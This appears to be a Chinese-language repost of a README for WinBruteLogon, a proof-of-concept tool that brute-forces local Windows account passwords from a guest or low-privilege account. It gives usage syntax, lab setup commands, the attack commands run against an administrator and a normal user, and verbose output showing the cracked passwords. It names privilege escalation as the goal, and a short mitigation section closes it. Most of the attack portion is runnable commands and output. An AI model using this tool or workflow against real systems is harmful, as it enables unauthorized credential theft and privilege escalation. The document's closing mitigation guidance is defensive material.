神兵利器 - 在沒有任何權限的情況下破解任何 Microsoft Windows 用戶密碼
項目地址:https://github.com/DarkCoderSc/win-brute-logon
目標:Windows XP 到最新的 Windows 10 版本 (1909)

用法
詞表文件
WinBruteLogon.exe -u <username> -w <wordlist_file>
標準輸入詞匯表
type <wordlist_file> | WinBruteLogon.exe -u <username> -
介紹
這個 PoC 更像是我所說的 Microsoft Windows 身份驗證機制中的一個嚴重弱點,而不是一個漏洞。
最大的問題與缺乏執行此類操作所需的權限有關。
實際上,通過訪客帳戶(Microsoft Windows 上最受限制的帳戶),您可以破解任何可用本地用戶的密碼。
使用命令找出哪些用戶存在:net user
這個 PoC 使用多線程來加速進程并支持 32 位和 64 位。
PoC 測試場景(使用訪客賬戶)
在 Windows 10 上測試
安裝和配置新更新的 Windows 10 虛擬機或物理機。
在我的情況下,完整的 Windows 版本是:1909 (OS Build 18363.778)
以管理員身份登錄并讓我們創建兩個不同的帳戶:一個管理員和一個普通用戶。兩個用戶都是本地用戶。
/!\ 重要提示:我在演示中使用了 Guest 帳戶,但這個 PoC 不僅限于 Guest 帳戶,它適用于任何帳戶/組(guest 用戶/普通用戶/admin 用戶等...)
創建一個新的管理員用戶
net user darkcodersc /addnet user darkcodersc trousersnet localgroup administrators darkcodersc /add
創建普通用戶
net user HackMe /addnet user HackMe ozlq6qwm
創建一個新的訪客帳戶
net user GuestUser /addnet localgroup users GuestUser /deletenet localgroup guests GuestUser /add
開始攻擊
從管理員帳戶注銷或重新啟動計算機并登錄到訪客帳戶。
將 PoC 可執行文件放在您作為訪客用戶可以訪問的任何地方。
用法 :WinBruteLogon.exe -v -u -w
-v是可選的,它設計了詳細模式。
默認情況下,域名是%USERDOMAIN%env var 指定的值。您可以使用選項指定自定義名稱-d
破解第一個用戶:(darkcodersc管理員)
提示(客人)>WinBruteLogon.exe -v -u darkcodersc -w 10k-most-common.txt
等待幾秒鐘以查看以下結果:
[ .. ] Load 10k-most-common.txt file in memory...[DONE] 10002 passwords successfully loaded.[INFO] 2 cores are available[ .. ] Create 2 threads...[INFO] New "TWorker" Thread created with id=2260, handle=364[INFO] New "TWorker" Thread created with id=3712, handle=532[DONE] Done.[ OK ] Password for username=[darkcodersc] and domain=[DESKTOP-0885FP1] found = [trousers][ .. ] Finalize and close worker threads...[INFO] "TWorkers"(id=2260, handle=364) Thread successfully terminated.[INFO] "TWorkers"(id=3712, handle=532) Thread successfully terminated.[DONE] Done.[INFO] Ellapsed Time : 00:00:06
破解第二個用戶:(HackMe普通用戶)
提示(客人)>WinBruteLogon.exe -v -u HackMe -w 10k-most-common.txt
等待幾秒鐘以查看以下結果:
[ .. ] Load 10k-most-common.txt file in memory...[DONE] 10002 passwords successfully loaded.[INFO] 2 cores are available[ .. ] Create 2 threads...[INFO] New "TWorker" Thread created with id=5748, handle=336[INFO] New "TWorker" Thread created with id=4948, handle=140[DONE] Done.[ OK ] Password for username=[HackMe] and domain=[DESKTOP-0885FP1] found = [ozlq6qwm][ .. ] Finalize and close worker threads...[INFO] "TWorkers"(id=5748, handle=336) Thread successfully terminated.[INFO] "TWorkers"(id=4948, handle=140) Thread successfully terminated.[DONE] Done.[INFO] Ellapsed Time : 00:00:06
如果您獲得了對低權限用戶的訪問權限,則可以破解更高權限用戶的密碼并提升您的權限。
修復:
- 禁用來賓帳戶(如果存在)。
- 應用程序白名單。
- 按照指南創建并保持密碼強度高。將此應用于所有用戶。
實施安全鎖定策略(默認不存在)
打開secpol.msc然后轉到Account Policies>并使用(1 到 999)之間的所需值Account Lockout Policy編輯值。Account lockout threshold
值表示鎖定之前可能嘗試的次數。
/!\ LockDown Policy 不適用于管理員帳戶。此時,對管理員帳戶(如果啟用)的最佳保護是設置一個非常復雜的密碼。